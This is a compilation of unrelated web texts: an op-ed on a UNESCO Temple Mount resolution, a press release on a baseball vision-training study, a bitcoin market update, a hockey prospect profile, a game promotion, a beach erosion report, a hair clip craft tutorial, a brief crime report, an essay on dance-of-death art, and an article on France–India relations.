Yes, it is deeply disappointing, but not surprising, that UNESCO, which was founded in 1945 to uphold humanity’s moral integrity and social solidarity, contributes to a one-sided view of history. And yes, it is discouraging, if not surprising, that Jordan, which is officially at peace with Israel, wrote this resolution, and that the Arab states blindly supported it. But section 3 about the “monotheistic religions” aside, the UNESCO document commits the sin of omission, not of commission. The lack of affirmation of Jewish attachment to the Temple Mount is infuriating – but it’s not a nullification of that attachment.
It does, however, provide an opportunity for both the Palestinians and the Israelis to divert attention from the real issues that face us here in this city.
I firmly believe that the Palestinians know very well that Israel is not “endangering al-Aqsa.” But Palestinian Authority President Mahmoud Abbas also knows that the Haram a-Sharif serves as a rallying call for his people and that keeping up a confrontational mentality towards Israel helps him cover up his government’s incompetence and dysfunction. And Netanyahu, for his part, knows very well that no institution, and certainly not one as inane as UNESCO, can wipe away the religious, spiritual and historical significance that the Temple Mount holds for Jews everywhere. But by stoking feelings about the one symbol – the Western Wall and the Temple Mount – that still unites Jews everywhere, he can divert attention from his own government’s incompetence and refusal to make any gestures towards peace.
And by calling on all of us to circle in our wagons over non-issues, these cynical, populist leaders can continue to avoid the difficult questions that must be answered: How can we find ways for Jerusalem to answer to the religious and national emotions that divide Jews and Arabs while meeting the urban needs that shape our lives as Jerusalemites? How do we move beyond thinking in terms of sovereignty and possession? How to we move beyond our fears, so that we can make the hard choices that we have to make?
The questions are existential, but the answers have to be creative and realistic. These are traits which both Netanyahu and Abbas lack—and so, they’d rather we focus our attention on words written in meaningless documents.
Novel study with UCR baseball players significantly improves vision, reduces strikeouts
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RIVERSIDE, Calif. — Four words no baseball player wants to hear: Strike three. You’re out.
The University of California, Riverside’s baseball team heard those words less frequently in the 2013 season after participating in novel brain-training research that significantly improved the vision of individual players and may have added up to four or five games to the win column.
The results of that study appear in a paper, “Improved vision and on-field performance in baseball through perceptual learning,” published in the Feb. 17 issue of the peer-reviewed Current Biology.
Most studies of visual abilities focus on mechanisms that might be used to improve sight, such as exercising the ocular muscles. Improvements in vision resulting from those experiments typically do not transfer to real-world tasks, however.
A team of UCR psychologists — professors Aaron Seitz and Daniel Ozer and recent Ph.D. graduate Jenni Deveau — combined multiple perceptual-learning approaches to determine if improvements gained from an integrated, perceptual learning-based training program would transfer to real-world tasks.
They did.
Before the start of the 2013 NCAA Division 1 baseball season the UCR researchers assigned 19 baseball players to complete 30 25-minute sessions of a vision-training video game Seitz developed. Another 18 team members received no training. Players who participated in the training saw a 31 percent improvement in visual acuity — some gaining as much as two lines on the Snellen eye chart — and greater sensitivity to contrasts in light.
“The vision tests demonstrate that training-based benefits transfer outside the context of the computerized training program to standard eye charts,” Seitz said. “Players reported seeing the ball better, greater peripheral vision and an ability to distinguish lower-contrast objects.”
The researchers found that the trained players had 4.4 percent fewer strikeouts — a decrease not experienced in the rest of the Big West Conference. The UCR team also scored 41 more runs than projected after controlling for skills improvements players would be expected to gain over the course of a season. Ozer arrived at this number by using the runs-created formula developed by baseball historian and statistician Bill James.
The longtime baseball fan then used the Pythagorean Winning Percentage formula, a statistical tool used by sabermetricians to compute a team’s wins and losses based upon their runs scored and runs allowed, to estimate that the training resulted in as many as four or five more wins.
(The team had a season record of 22-32, but later was forced to vacate eight wins due to an ineligible player.)
UCR’s year-over-year improvements were at least three times greater than the rest of the league in batting average, slugging percentage, on-base percentage, walks and strikeouts, the researchers determined.
“Elite baseball batters use various kinds of sensory information to be successful batters, but most weight is given to visual feedback,” Seitz said. “This has motivated other vision-training approaches to focus on exercising the ocular muscles, producing mixed results. Our integrated training program is unique in that we focus on training the brain to better respond to the input it receives from the eyes and in that we examined both standard measures of vision as well as real-world performance in elite players. The improvements are substantial and significantly greater than that experienced by players in the rest of the league in the same year.”
Baseball is a very visual game, and the ability of batters to tell the difference between pitches and ball speeds is critical, longtime UCR Head Baseball Coach Doug Smith said in explaining why he allowed his players to participate in the research. “I thought if this would help our players see more clearly we would have a chance to make a big breakthrough,” he said.
Baseball players typically have excellent vision, so the extent of improvement surprised the researchers. After completing the vision-training program, some players’ vision improved to 20/7.5. This means that what the average person can read at 7.5 feet away these players can read at a distance of 20 feet. Normal vision using the Snellen eye chart is 20/20. The UCR researchers said it’s too early to know if changes in vision were solely responsible for the improved play or if brain-training combined with unmeasured factors bettered batting performance.
Smith was surprised, too.
“I didn’t think we would see as much of an improvement as we did,” he said. “Our guys stopped swinging at some pitches and started hitting at others. Their average strikeout total went down and batting went up. There is such a high percentage of failure in our game. Even the best players fail (to hit) 70 percent of the time. Everyone is looking for an edge to be that little bit better. Our guys are more confident now when they come to the plate.”
The research results strongly suggest that an integrated approach to perceptual learning-based training has great potential to help not only athletes looking to optimize their visual skills but also individuals with low vision engaged in everyday tasks, the psychologists concluded.
“We use vision for many daily tasks, including driving, watching TV, or reading,” Deveau said. “This type of vision training can help improve not only sports performance, but many of these activities in non-athletes as well.”
Seitz, Deveau and Ozer are beginning a second year of study with the UCR baseball team and will add the UCR women’s softball team to the research project this season.
Archived under: Health, baseball, brain, Graduate Division, press release, psychology, training, vision
Want to Trade Bitcoin? ForexNews Recommmends Click Here To Learn More.
Bitcoin is trading slightly up today. After opening the day at $364.50, BTC fell to a low of $360.44, only to rally back up in the late part of today’s session. We are currently trading right above the $370 mark on BTC-E. This compares to $376 on BitStamp and $378 on OKCoin. The chart below shows the V-shaped pattern reversal in the past 24-36 hours.
The initial dip lower could be pinned on yesterday’s report that the second bitcoin auction attracted much lower bidder interest. Today’s move up may be in part due to reports that Tim Draper, the winner of the first bitcoin auction, only got 2,000 BTC this time around. Market participants are speculating that Draper bid well above the current market prices, just like last time. If he was outbid, the winner probably bid even higher, the theory goes.
The problem with this is that Tip Draper’s June investment incurred over 40 percent loss in the past five months alone. The bitcoin investor continued to be an outspoken supporter or bitcoin in the following months, before the second BTC auction he was quoted as saying that ”The price is even better than the last auction”. But one can’t help but assume that the loss made him somewhat more cautious this time around.
Draper plans to will invest 300 bitcoins into every company that works with Boost, a bitcoin startup accelerator founded by Draper’s son Adam. In an email Draper told Bloomberg that:
”The interesting part is that we are fixing the valuation, and the 300 bitcoins are worth about $120,000 today, but may be worth quite a bit more (or less) when the entrepreneurs receive them”.
Age: 18
Date of Birth: February 18, 1992
Place of Birth: Murray River, PEI
Ht: 6-1 Wt: 175
Shoots: Left
Brandon Gormely is a blueliner for the Moncton Wildcats who is currently playing in the QMJHL final against the provincial rival Saint John Sea Dogs. Gormley is an all-around blueliner, who excels in both the defensive and offensive zones. He has the ability to supply offense, and doesn't shy away from contact.
2009/2010 Regular Season Stats:
GP G A PTS +/- PIM 58 9 34 43 +31 54
Scouting Report (Puck Prospectus):
Gormley comes with a great set of tools. He is such a good puck-mover and makes quality decisions, time after time, with the puck. He isn’t one-dimensional and will be a tremendous asset on the backend.
Why he'd be a good fit in Columbus:
Gormley is generally considered to be one of the top three blueliners available in the draft. As was the case with Fowler and Gudbranson, Gormley fits the bill as a potential top-pairing defender for Columbus. He is teammates with one of Columbus' top prospects in Moncton- fellow blueliner David Savard.
Fowler in Action:
The first thing I thought after I read about this offer is that if you're the sort of person who might back the new Bard's Tale on its first day, then the great likelihood is that you already own all of these games. But maybe the post-apocalypse isn't your bag, or maybe you missed The Witcher when it came out—it was eight years ago, after all.
Read more: The Bard's Tale 4: Barrows Deep review
Whatever your excuse, this is a good way to snag a freebie while doing something you were going to do anyway. And if you do happen to own all three, you can always opt for Wasteland 2 on Steam (the Witcher games are being offered exclusively through GOG) and gift it to someone who hasn't yet had the pleasure.
"This is our way to show our gratitude to those who continue to support us," inXile boss Brian Fargo said. "We’re also very happy to be working with our friends at CD Projekt, who have shown they understand the right way to treat your fans!"
The erosion has been mainly taking place on the stretch between RK Beach and the Kursura Submarine Museum since it bore the brunt of high tides.
The tides alter sea levels twice a day, indirectly affecting the circulation and sediment transportation near the coast. Various studies by oceanographers have found that cyclones and depression with strong winds, along the Vizag coast, were changing sea levels.
“The coast at the Submarine Museum lost a major portion of its sand deposit during Cyclone Hudhud. Bad weather conditions only worsened the situation.
There is no abnormality but there is every need to take protective measures to save the city beaches,” said Dr V.S.N. Murthy, chief scientist from the National Institute of Oceanography.
On January 31, 2014, the landmass under the footpath on Beach Road near the Kursura Submarine Museum was subjected to massive erosion.
In the third week of July, witnessed shoreline erosion took place when heavy tides uprooted several trees and brought down many houses near the Museum, Mangamaripeta, Uppada, Dibbadipalem and other areas.
Once again, the Museum and other areas have been witnessing the same catastrophic effect of the tides, surging in by 25-30 metres over the last two days causing heavy damage to the Beach Road.
I’m going to show you the basics here and then you can go crazy! We’ll work on this design below. So lets get started making a yo yo hair clip.
GATHER YOUR MATERIALS
48mm double-pronged alligator clip
12cm of 10mm wide grosgrain ribbon (with heat sealed ends)
a hot glue gun
a pressed fabric circle with a 16.5cm (6.5″) diameter
a needle and thread
scissors
embellishments (I used a crocheted flower and resin rose, but you can add whatever you like)
LETS MAKE A YO YO
There are two stages to making these gorgeous clips. First you need to stitch a pretty yo yo (you may also know it as a suffolk puff). If you haven’t made these before, they are super simple. And I have very conveniently included a link HERE to a previous tutorial that explains exactly how to make them!
Here’s a whole bunch of them. Aren’t they so pretty en masse?
To make the yo yo used for this project, I used a 16.5cm fabric circle. This created a yo yo with an 8cm diameter. But you can play around and choose a yo yo size that works best for your project.
LINE AN ALLIGATOR CLIP
You’ll need to have a lined alligator clip ready to attach to the back of your yo yo. And guess what? I’ve got a tutorial for that too! You can head over HERE to find out how to make a simple bow and cover an alligator clip at the same time.
But here’s the short version; Take your 12cm length of heat sealed ribbon and attach it to the 48mm double-pronged alligator clip using a hot glue gun. The numbered pictures below really demonstrate how I do this stage. Just remember to work quickly but carefully with hot glue!
PUT IT ALL TOGETHER
Once you’ve stitched your yo yo and covered your clip, it’s time to put it all together. The steps match the numbers in the image below.
Take your completed yo yo. Attach any soft or fabric embellishments, or buttons, with hand stitching. I added a pretty cream hand-crocheted flower. Use hot glue to secure any resin shapes, cabochons, rhinestones, or other pretty pieces. This pale peach resin rose complemented my fabric yo yo perfectly. Attach your clip to the back of the yo yo. Press a line of hot glue onto the top of the clip. Turn it over and gently press it into place on the yo yo back. At this stage it’s important to consider which direction you’re placing the clip on the back. Does the design on your yo yo have to face a certain way? I wanted my resin rose to be upright. So I carefully positioned the clip so that the rose faced the correct way when worn.
Wasn’t that simple?
Once you’ve mastered the basics, you can start to play around with your designs. You can add bows, fabric covered buttons, crochet embellishments and lots of sparkle. It’s up to you!
These designs also have a lace rosette attached to the back. Simply gather a length of lace with a straight stitch to make a rosette. Hand stitch a seam to join the two ends. Stitch your rosette and yo yo together before adding more embellishments.
I’m so in love with making these pretties. I even had my lovely friend Mel from MiaMia Photography take some gorgeous photos for me. Here’s one of Monty and Pipsqueek (the guinea pigs). Aren’t they wonderful models?
And once you’ve made a whole collection of clips and bows, you’re going to need somewhere to store them. Luckily I have just the thing. You can use a simple artist’s canvas to make a beautiful and practical hair clip holder. And I have written a tutorial over on the SewMcCool blog showing you how!
Have you made similar hair accessories? Do you have a hair clip project you’d love to share? I’d love to hear from you!
Check out more inspiration on my Pinterest board for Hair Accessories. Thanks for stopping by for another Molly and Mama tutorial!
Happy stitching, Lauren x
ELIZABETHTOWN, N.C. — A North Carolina high school teacher is accused of sexual activity with students.
WAVY reported that Shanna May Harrelson, 38, of Clarkton, has been charged with one count each of disseminating obscene material to a minor, crimes against nature and sex act with a student.
The suspect had worked as a science teacher at West Bladen High School in Bladenboro. She has since been suspended without pay.
“The safety and well-being of all Bladen County Schools students is of the utmost concern and we can assure you that any inappropriate behavior or conduct by any Bladen County Schools employee will not be tolerated,” school officials said in a statement.
Specific details about the allegations against the suspect have not been released.
Lübeck, canon, nobleman and physician
There's an expression "to look like Death warmed over". The similar expression in Danish is "to look like Death from Lübeck".
I have always wondered what this charming Christmas-city, with its great beer and overly sweet marzipan, had done to deserve such a disparaging sobriquet. While researching for a Danish site about tarot I found the answer.
"Death from Lübeck" was a 30 meter painting, showing Death in a long chain-dance with 24 humans - painted life-size - from all classes of society, from pope to infant. Death dances around in the procession, calling people to the dance, but most of the dancers-to-be try to decline. Pictures and text are combined so we have what may be one of the world's first and greatest comic strips.
The dance of death in Tallinn, Estonia.
The painting was destroyed during the 2nd world war and, anyway, it was only a copy since the original medieval painting from 1463 had been replaced by a new one with a new text in 1701. On the other hand there's still a fragment (yes, 7½ meters is a fragment) of a very similar painting in Tallinn, which can still be visited, and where one can read parts of the original medieval text.
The painting was famous for centuries, and the burghers of Lübeck produced illustrated books loosely based on the dance of death in St. Mary's Church. Later, the woodcuts were sold to Denmark, and around 1550 Copenhagen's dance of death was published. On these pages the book gets a repremiere — restored for the first time in 468 years.
The dance of death was a popular and wide-spread theme in the late Middle Ages. On these pages there are samples all the way from metropols like Berlin, London, Paris and Basel to Malmø and Nørre Alslev. All over Europe one could see the long chain dances with Death dancing away with citizens from all walks of society.
The subject for this site is the original medieval dance of death, but I have added two sections outside this scope.
Holbein, The pope
The first one is Hans Holbein, whose famous woodcuts were published in 1538. Instead of a chain dance, Holbein depicted a number of independent scenes, showing how Death lurks everywhere: at home, on the road, at sea etc. In this manner Holbein de facto changed the entire genre, and I have dedicated a large section to showing how he influenced other artists.
The other thing is that being a Dane I have an interest in documenting Danish dances of death.
France
India Envoy Ambassador Alexandre Ziegler Ambassador Vinay Mohan Kwatra
Embassy of India in Paris
France–India relations have traditionally been close and friendly and both countries have a 'special relationship' with each other.[1] Both nations have a centuries-old history of trade relations. From the 17th century until 1954, France maintained a colonial presence in the subcontinent; Puducherry, one of its former Indian territories, is a popular tourism destination for French travellers to India.
With the establishment of the strategic partnership in 1998, there has been significant progress in all areas of bilateral cooperation through regular high-level exchanges at the Head of State/Head of Government levels and growing commercial exchanges including in strategic areas such as defence, nuclear energy and space. France was the first country with which India entered into an agreement on nuclear energy following the waiver given by International Atomic Energy Agency and the Nuclear Suppliers’ Group enabling India to resume full civil nuclear cooperation with the international community. There is also a growing and wide-ranging cooperation in areas such as trade and investment, culture, science and technology and education. France has consistently supported India’s permanent membership of the UNSC. Both India and France are proponents of a multipolar world led by regional democracies.
History [ edit ]
In the 17th century François Bernier (1625–1688), a French physician and traveler, became for 12 years the personal physician of the Mughal emperor Aurangzeb.
In the 18th century, France was actively involved in the European colonial powerplay in the Indian Ocean region.
The French General Dupleix was allied to Murzapha Jung in the Deccan, and Chanda Sahib in the Carnatic Wars, in the conflict against Robert Clive of the East India Company. These relationships were beneficial to the French, and French allies gifted areas such as the Alamparai Fort in return for the services provided by the French against the British.
[2] Statue of Dupleix in Pondicherry , India
The French succeeded in the 1746 Battle of Madras, and the French and Indians fought together and vanquished Anwaruddin in 1749, but failed in the Battle of Arcot in 1751 and finally surrendered in 1752.[3] The French again had a success at the capture of Fort St David in 1758 under Lally, but were finally defeated at Machilipatnam (1759) and Vandavasi (1760).[3]
The French military adventurer and mercenary, Benoît de Boigne, made his name in India under the Marathas, whom he assisted in many battles against the British East India Company.[4]
French had lost pre-eminence in India with the Treaty of Paris (1763), although five trading posts were being maintained there, leaving opportunities for disputes and power-play with Great Britain.[5] France was successful in supporting the American War of Independence in 1776, and wished to expel the British from India as well.[5]
In 1782, Louis XVI sealed an alliance with the Maratha Peshwa Madhav Rao Narayan. As a consequence Bussy moved his troops to Ile de France (Mauritius) and later contributed to the French effort in India in 1783.[5][6] Suffren became the ally of Hyder Ali in the Second Anglo-Mysore War against British rule in India, in 1782-1783, fighting the British fleet on the coasts of India and Ceylon.[7][8] Between February 1782 until June 1783, Suffren fought the English admiral Sir Edward Hughes, and collaborated with the rulers of Mysore.[8][9] An army of 3,000 French soldiers collaborated with Hyder Ali to capture Cuddalore.
While Great Britain established its authority over the Madras Presidency (covering the modern Indian states of Andhra Pradesh and Tamil Nadu), France retained control of Pondicherry, Karikal, Yanam, and Mahé, as well as maintaining a foothold in Chandannagar, now in West Bengal.[10] During the British Raj, many Indian freedom fighters (Subramania Bharati, Lala Lajpat Rai, Sri Aurobindo) sought refuge in French establishments in India to stay out of reach of the British.
India in World War I and World War II [ edit ]
Indian Expeditionary Force A, Indian Army Service Corps and Imperial Service Troops contributed to defend France during World War I and World War II.
Darwan Singh Negi, Gabar Singh Negi, Gobind Singh Rathore and Mir Dast were awarded the Victoria Cross for exceptional gallantry on French battlefields.[11] Flight Lieutenant Hardit Singh Malik of No. 28 Squadron RFC flew a Sopwith Camel over France during WWI.
Some of the more prominent battles involving troops from the Indian sub-continent:
The British Raj and Princely States of India suffered the greatest World War I casualties amongst dominions, colonies, protectorates, mandates and other territories of the British Empire. It is estimated that between 64,449 and 73,895 Indians died in Europe during the First World War (compared to between 59,330 and 62,081 Australians and between 58,639 and 64,997 Canadians).[12][13][14]
Of the 130,000 Indians who served in Somme and Flanders theatre of operations during World War One, almost 9,000 died.[15][16][17] According to the Commonwealth War Graves Commission, 8128 graves of soldiers of the British Indian Army and porters of the Indian Labour Corps who perished in WWI and WWII are located in France.[18]
Marshal Ferdinand Foch, the French Commander at the Battle of Neuve Chapelle (4,200 Indian casualties), acknowledged the contribution of troops from India and said: "Return to your homes in the distant, sun-bathed East and proclaim how your countrymen drenched with their blood the cold northern land of France and Flanders, how they delivered it by their ardent spirit from the firm grip of a determined enemy; tell all India that we shall watch over their graves with the devotion due to all our dead. We shall cherish above all the memory of their example. They showed us the way, they made the first steps towards the final victory."[19]
Monument aux Morts French India War Memorial on the Beach Road in Pondicherry French India War Memorial on the Beach Road in Pondicherry
Due to Hindu funeral rites - where mortal remains are cremated - most Indian casualties are commemorated with inscriptions on war memorials at Neuve-Chapelle Indian Memorial and the Anneau de la Mémoire of Notre Dame de Lorette Ablain St.-Nazaire French Military Cemetery rather than with individual graves. Ayette Indian and Chinese Cemetery, La Chapelette British and Indian Cemetery, Neuville-Sous-Montreuil Indian Cemetery, Gorre British and Indian Cemetery, Zelobes Indian Cemetery, Étaples Military Cemetery, Saint-Martin-lès-Boulogne Meerut Military Cemetery, Cabaret-Rouge British Cemetery, Béthune Town Cemetery, Arques-la-Bataille British Cemetery and Mazargues War Cemetery, Marseilles are examples of military cemeteries which contain graves or memorials to Indian casualties in France. Dieppe Canadian War Cemetery contains the grave of Pilot Officer Dastur Rustom Nariman of the Royal Indian Air Force 12 Sqdn.(R.A.F.).[20] Colonial troops and labourers, including those from the Indian Subcontinent, are collectively identified as lascars[21] in French military necropolis as can be observed at Notre Dame de Lorette Ablain St.-Nazaire French Military Cemetery.
A small number of Indians from French India, notably from Chandannagar, served as colonial infantrymen in the French Army during World War I.[22] The Monument aux Morts in Pondicherry was built in memory of colonial troops from French India. Pondicherry responded to the June 1940 appeal by Charles de Gaulle and became the first French territory to abandon the collaborationist Vichy regime and join Free France.[23]
Cession of French territories in India [ edit ]
France established diplomatic relations with the newly independent India in 1947. An agreement between France and India in 1948 stipulated that the inhabitants of France's Indian possessions would choose their political future. A treaty of cession was signed by the two countries in May 1956. It was ratified by the French parliament in May 1962. On 16 August 1962 India and France exchanged the instruments of ratification under which France ceded to India full sovereignty over the territories it held. Pondicherry and the other enclaves of Karaikal, Mahe and Yanam came to be administered as the Union Territory of Puducherry from 1 July 1963.
The merits and deficiencies of French colonial presence in India is disputed on accounts of the exploitative nature of colonial trade, segregation of French subjects within the colonial possessions along ethnic lines (Europeans and Creoles were differentiated from ethnic Indians on electoral lists) and the colonial use of indenture labour.
Development of bilateral relations [ edit ]
The bilateral relations with France, although globally positive, fluctuated in function of defence sales to Pakistan (Exocet missiles, Dassault Mirage III, Dassault Mirage 5 & Breguet Atlantic aircraft and Daphné-class & Agosta 90B-class submarines) and were offset by especially strong relations in the fields of civil nuclear energy and aerospace.
Visits by Head of State and Head of Government [ edit ]
A key milestone in the bilateral relationship was the visit in 1998 by President Jacques Chirac. The visit elevated the relationship through the signing of India's first ever strategic partnership.[24]
In January 2008, President Nicolas Sarkozy visited India and was the chief guest at India's Republic Day parade.[25]
In September 2008, Indian Prime Minister Manmohan Singh made a major visit to France.[26]
On 14 July 2009, Prime Minister of India Manmohan Singh was the Guest of Honour for the Bastille Day Celebrations held in Paris. The 2009 Bastille Day military parade opened with a contingent of Indian troops drawn from the three services (Indian Army, Indian Navy and Indian Air Force).[27] Soldiers including Jawans of Maratha Light Infantry[28] Regiment Centre (MLIRC) marched down the Avenue Champs-Élysées to the sound of an Indian military band playing Indian martial tunes including Saare Jahan Se Achcha, Haste Lushai and Kadam Kadam Badaye Ja.[29]
French President Sarkozy undertook his second visit to India from 4–7 December 2010.
French President Francois Hollande visited India on 14–15 February 2013.
Indian Prime-Minister Narendra Modi was in Paris on 10–11 April 2015 for strategic bilateral discussions with French President François Hollande.[30] A joint status report established the current state of the bilateral relationship and plans for the future through the April 2015 India-France joint statement.[31]
On 30 November 2015, Indian Prime-Minister Narendra Modi travelled to France for a 2-day visit to attend the COP 21 2015 United Nations Climate Change Conference in Paris.[32] Narendra Modi and François Hollande jointly invited over 100 world leaders to join InSPA (International Agency for Solar Policy & Application) - a global initiative to promote low-carbon renewable solar energy technologies.[33][34][35]
January 2016 visit by French President François Hollande [ edit ]
A French delegation headed by President François Hollande and including several French cabinet ministers (foreign minister Laurent Fabius, defence minister Jean-Yves Le Drian, finance minister Michel Sapin, culture minister Fleur Pellerin and environment minister Segolene Royal)[36] travelled to India on 24 January 2016 for a 3-day visit.
Speaking at the Indo-French CEOs Forum and the India France Business Summit in Chandigarh on 24 January 2016, President François Hollande set the tone for the visit by stating his intentions: "My visit has 2 main goals - Consolidate the strategic partnership with India and implement decisions taken during Prime Minister Narendra Modi's visit to France". Indian Prime Minister Narendra Modi reciprocated by declaring that "India and France are made for each other" (...) "The trust and friendship with France is an asset for us" and by emphasising the need to consolidate people-to-people ties between India & France: "Our strategic partnership is not just between Paris and New Delhi. It is with each and every one of you".[37][38]
French President François Hollande was the chief guest at the 67th. Indian Republic Day parade in New Delhi on 26 January 2016.[39][40][41][42] France is the only country to be invited a record-setting 5 times to the highly symbolic national ceremonial event.[43][44] The 2016 Indian Republic Day parade included the first-ever participation of foreign troops in the march-past.[45] 124 French Army soldiers from the 35th. Infantry Regiment of the 7th. Armoured Brigade based in Belfort and a ceremonial military band-music contingent based in Lyon marched down Rajpath in New Delhi.[46]
The visit gained favourable media coverage which underscored the consistently cordial[47][48][49][50][51] and exceptional nature[52][53][54] of Indo-French bilateral relations and decoded the political significance of the protocol courtesies extended to France.[55][56] Leading Indian newspapers published editorials lauding successful bilateral cooperation in the domains of science and technology, aerospace, nuclear energy, defence and counter-terrorism.[57][58][59][60][61][62] Kanwal Sibal, the former Foreign Secretary of India and who had also been India's Ambassador to France opined: "He (President Hollande) recognises the esteem India has for France and the growing affinity between the two countries."[63] (...) "Hollande attaches value to the personal rapport he has developed with Modi, recognises the dynamism he is imparting to the Indian economy and believes in the growing affinity between the two countries. On this basis the Indo-French strategic ties should grow in strength."[64]
March 2018 visit by French President Emmanuel Macron [ edit ]
Indian Prime Minister Narendra Modi received the French President Emmanuel Macron. The two counterparts discussed the French-Indian relations over the years and signed multiple agreements. Modi commented that although the strategic partnership between the two countries is "just 20 years old, our cultural and spiritual partnership is older. The values of liberty, equality, and fraternity echo not just in France but have been embedded in India’s Constitution as well." Macron told the media, "We want India as our first strategic partner here, and we want to be India’s first strategic partner in Europe, and even the western world." [65]
Strategic partnership [ edit ]
The strategic partnership has profited from sustained political investments made at the senior-most levels of decision making. The long-standing relationship between France and India has resulted in extensive co-operation in the domains of aerospace and civil nuclear energy besides military matters. Science and technology cooperation, deep-rooted cultural ties, and a historically francophile literary & fine-arts community in India has provided solid foundations for the strategic relationship. In November 2011, the Foundation for National Security Research in New Delhi published India’s Strategic Partners: A Comparative Assessment and ranked India’s top strategic partners with a score out of 90 points : Russia comes out on top with 62, followed by the United States (58), France (51), UK (41), Germany (37), and Japan (34).[66]
Voting patterns of France in the UN Security Council on matters of core interest to India has endeared the country as all-weather friend of India. France was one of the few nations who did not condemn India's nuclear tests in 1998 and has supported India's bid to become a permanent member of the UN Security Council as well as G-8.[24][67] France is one of the largest suppliers of nuclear fuel to India, and signed a "Framework Agreement for Civil Nuclear Co-operation" in January 2008.[26] After India's waiver from the Nuclear Suppliers Group (NSG), both nations signed an agreement that would pave the way for the sale of French-made nuclear reactors to India on 30 September 2008.[26][68] France is a major supplier of military equipment to India. Procurement of Dassault Mirage 2000 fighter aircraft and a squadron of DCNS Scorpène class submarines (called Kalvari-class submarines) are examples of strategic defence acquisitions.[69] The armed-services of both nations conduct joint-exercises on an annual basis. France and India also maintain a discreet "strategic dialogue" that covers joint cooperation against terrorism. The strategic autonomy of the French Force de frappe resonates well within Indian strategic circles.
French Overseas regions of Réunion and Mayotte establish French sovereign presence in the Indian Ocean. Réunion has a significant ethnic Indian population colloquially called Malbars and which includes all Réunionnais of Indian origin. Réunion's location in the Indian Ocean makes France ideally positioned to leverage advantages of the Neighbourhood first policy and Indian Ocean outreach priorities which were announced by the government of Narendra Modi.[70]
On 20 November 2015, a week after the attacks in Paris, French Minister Laurent Fabius visited New Delhi and met with Prime Minister Narendra Modi and Foreign Minister Sushma Swaraj. The talks centered around enhancing cooperation to fight terrorism, as well as preparations for the 2015 Climate summit in Paris. After the meeting Fabius stated that France and India were "in the same boat" with regards to terrorism saying, "I want to say that France is grateful for tremendous support it has received from the international community including Indian friends ... We have a good cooperation with our Indian friends on this. I was discussion it this morning with Prime Minister Modi. We shall develop our cooperation."[71][72]
Institutional Structure for dialogue [ edit ]
France and India have instituted a Strategic Dialogue at the level of National Security Advisers whose 27th round of Strategic Dialogue was held in Paris on 12–13 January 2015. The last Foreign Office Consultations at the level of Foreign Secretaries was held in Paris on 17 June 2013.
Defence [ edit ]
Talwar cruising off the coast of Toulon during Varuna 2012. INScruising off the coast of Toulon during Varuna 2012.
Charles de Gaulle at FNSat Mormugao Harbour during the harbour phase of Varuna 2015.
Defense partnership and cooperation is built on historic French and Indian military interactions which stretch back to the Carnatic Wars. India was heavily involved in both World War I and World War II and suffered huge loss of lives on battlefields in France.[73][74][75][76][77][78][79][80][81][82][83]
A 400-strong contingent of the Indian armed forces led the Bastille Day parade in 2009 for which the Prime Minister of India was the Guest of Honour - the first time ever that Indian troops took part in another country’s national day parade.
Under the framework of the structured talks under the Indo-French Defence Cooperation Agreement several meetings on industrial collaboration and service exchanges are held regularly. The 3rd meeting of the JWG on Counter-terrorism was held in New Delhi on 19–20 November 2012. The 11th meeting of the Indo-French Research Forum (IFRF) was held in Paris from 17–19 December 2012. The 15th. High Level Committee for Defence Cooperation (HCDC) at the level of Defence Secretaries, met in Paris on 12 January 2015.
Indo-French Air Force Exercise Garuda IV was held at Istres air base in France from 14–25 June 2010. Indo-French Joint Naval Exercise Varuna was held in the Mediterranean sea off the port of Toulon from 19–22 July 2012. The first Indo-France joint army exercise named Shakti was conducted in India at Chaubattia from 9–22 October 2011. In 2013, Army chief General Bikram Singh visited Commandement des Forces Terrestres Land Forces Command in Lille and the French Military School at Draguignan. In 2015, Vice Admiral SPS Cheema, FOC-in-C West was hosted by the French Navy at Toulon. The Indo-French Joint Army exercise was held in Rajasthan, India from 19–21 January 2016.
Indian Prime Minister Modi stated that "We consider France one of our most reliable defense allies."[84]
Indian and French Navies will be able to use each other's naval bases, under an agreement signed in 2018.[85] Indian warships will be able to use French bases in Indian and southern Pacific oceans.[86]
Trade & Investment [ edit ]
Indo-French bilateral trade has been growing though it has still not reached the €12 billion target set by both the Governments during the visit of the French President to India in January 2008. In 2011, bilateral trade had increased by 6% to €7.46 billion. In the first ten months of 2012, there has been a decrease of 3.71% in the bilateral trade overall the same period of 2011. Based on the annual data, the Indian exports of services to France have shown a growth in the last three years reaching €1.32 bn in 2011 while the imports from France fell to €0.66 bn in the same year.
Foreign Direct Investment (FDI) [ edit ]
France is the 9th largest foreign investor in India with a cumulative investment of approximately US$3 billion [Investment was of the order of US$2.98 billion during the period April 2000 to June 2012, which represents 2% of total inflows]. The technical and financial collaborations approved with France number 952. Top sectors attracting FDI inflows from France are Chemicals (other than fertilisers) (18.80%), Cement and Gypsum Products (15.82%), Services Sector (financial & non-financial) (9.41%), Fuels (power & oil refinery) (6.47%) & Electrical Equipments (including computer software & electronics) (5.34%) and auto sector. There are about 800 French companies in India (subsidiaries or JVs, representative offices or branch offices with about 150,000 employees).
In 2011, India was the 13th largest foreign investor in France in terms of project numbers. Indian Investments in France have been growing and Indian companies have invested around €1 billion from April 1996 in different sectors like pharmaceuticals (Ranbaxy and Wockhardt), Software (Tata Consultancy Services, Infosys & Wipro), Wine (Kingfisher), Steel (Tata, Electrosteel), Plastics (Sintex), Railway wagons (Titagarh Wagons), Aerospace (Cades/Axis) & Autoparts (Jyoti) etc.110 Indian-owned companies, including 27 greenfield investments, are present in France and are employing over 5,600 persons.
The Indo-French CEOs Forum, formed in 2009, has been tasked to identify new avenues for cooperation and take initiatives to facilitate business links between both countries. The 16th session of the Joint Committee for Economic and Technical Cooperation, at the level of Ministers of Commerce which deals with issues related to commerce and trade, was held on 23–25 June 2010 in Paris. The fifth meeting of India France CEOs’ Forum was held in New Delhi on 22–23 November 2012.
Aerospace [ edit ]
Aviation [ edit ]
Indian companies are major clients for Airbus & ATR aircraft. Air India, IndiGo Airlines, Jet Airways and AirAsia India host extensive fleets of Airbus passenger aircraft.
